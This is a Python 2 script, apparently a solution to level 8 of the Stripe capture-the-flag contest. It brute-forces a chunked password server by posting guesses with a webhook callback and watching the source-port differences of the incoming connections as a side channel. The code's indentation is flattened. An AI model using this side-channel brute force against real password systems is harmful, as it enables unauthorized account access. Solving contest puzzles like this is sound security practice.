import json
import socket
import urllib
ENDPOINT = 'https://level08-2.stripe-ctf.com/user-jskukszmwv/'
DELTA = 6
s = socket.socket()
s.bind(('', 10095))
s.listen(1)
lastport = None
for n in xrange(100):
#password = ('%03d' % n) + '0' * 9
password = '114356367%03d' % n
print password
data = json.dumps(dict(password=password, webhooks=["level02-2.stripe-ctf.com:10095"]))
i = 0
maybes = 0
while True:
urllib.urlopen(ENDPOINT, data=data)
c, (host, port) = s.accept()
if lastport is not None:
portdelta = port - lastport
else:
portdelta = None
print n, i, host, port, portdelta
lastport = port
c.close()
i += 1
if portdelta and portdelta <= DELTA:
if portdelta == DELTA - 1:
print "nope"
break
if portdelta == DELTA:
if maybes > 3:
print "good enough for me: THIS MIGHT BE IT"
break
maybes += 1